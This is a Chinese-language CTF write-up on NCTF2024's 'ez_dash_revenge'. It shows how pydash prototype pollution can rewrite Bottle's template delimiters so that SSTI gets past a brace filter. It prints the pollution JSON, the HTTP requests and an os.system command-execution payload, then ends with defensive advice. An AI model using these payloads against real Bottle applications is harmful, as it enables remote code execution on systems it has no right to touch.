记一次bottle框架的渲染标识符挖掘
字数 1367 2025-08-29 08:29:59
Bottle框架渲染标识符挖掘与SSTI漏洞利用分析
前言
本文记录了对Bottle框架模板渲染标识符的挖掘过程,通过原型链污染修改模板渲染标识符,绕过过滤实现SSTI(服务器端模板注入)漏洞利用的技术细节。该技术源于NCTF2024的"ez_dash_revenge"题目,结合了pydash原型链污染和Bottle模板渲染漏洞。
漏洞背景
题目环境包含两个关键路由:
setValue路由:存在pydash原型链污染漏洞render路由:存在SSTI漏洞,但过滤了{和}字符
技术要点
1. Bottle框架模板渲染基础
Bottle框架支持在模板中嵌入Python代码,使用以下标识符:
%:单行Python代码<%和%>:多行Python代码块
2. 模板渲染标识符定义位置
Bottle框架的模板渲染标识符定义在bottle.py文件的StplParser类中,关键变量包括:
block_startblock_closeinline_endinline_start
3. 标识符污染思路
由于题目过滤了{},尝试通过原型链污染将标识符修改为[[]],从而绕过过滤实现SSTI。
详细分析过程
1. 定位标识符定义
通过分析bottle.py源代码,发现标识符定义在StplParser类的set_syntax方法中:
def set_syntax(self, syntax):
""" Define syntax rules via string. """
names = syntax or '{% %} % {{ }}'
self.block_start, self.block_close, \
self.inline_start, self.inline_end = names.split()
2. 原型链污染利用
使用pydash的setValue方法污染标识符:
# 污染payload
{
"__proto__": {
"block_start": "[[",
"block_close": "]]",
"inline_start": "[[",
"inline_end": "]]"
}
}
3. 污染后的模板渲染
污染成功后,模板渲染标识符从{{}}变为[[]],可以绕过对{}的过滤:
# 原始SSTI payload
{{7*7}}
# 污染后使用的payload
[[7*7]]
4. 调试过程中的关键发现
在调试过程中发现几个关键点:
-
模板查找机制:Bottle会在
./views/目录下寻找模板文件 -
渲染流程:
- 调用
template()函数 - 进入
templates()函数 - 初始化模板引擎类
- 调用
prepare()函数 - 最终调用
render()方法
- 调用
-
关键执行点:
exec()函数是实际执行模板代码的关键位置
5. 污染注意事项
污染标识符时需要保持匹配关系,否则会导致KeyError。例如:
- 不能只污染
block_start而不污染block_close - 需要保持
inline_start和inline_end的配对
完整利用流程
-
实施原型链污染:
POST /setValue HTTP/1.1 Content-Type: application/json { "__proto__": { "block_start": "[[", "block_close": "]]", "inline_start": "[[", "inline_end": "]]" } } -
触发SSTI:
GET /render?name=[[7*7]] HTTP/1.1 -
利用结果:
页面将返回计算结果49,证明SSTI成功
绕过技巧
当污染所有标识符为[[]]时,可能导致模板查找进入错误分支。解决方法是在payload中包含$字符:
GET /render?name=[[$import os;os.system('id')]] HTTP/1.1
防御建议
- 避免使用不安全的模板渲染函数
- 对用户输入进行严格过滤
- 避免将用户可控数据传入原型对象
- 使用最新版本的框架和依赖库
参考资源
- NCTF2024 "ez_dash_revenge"题目
- GHCTF2025 "Message in a Bottle"题目
- Bottle框架官方文档
- Pydash原型链污染相关研究
通过本文的分析,我们深入了解了Bottle框架模板渲染机制和如何通过原型链污染修改渲染标识符实现SSTI的技术细节。这种技术在CTF比赛中具有实际应用价值,同时也提醒开发者在实际项目中需要注意此类安全问题。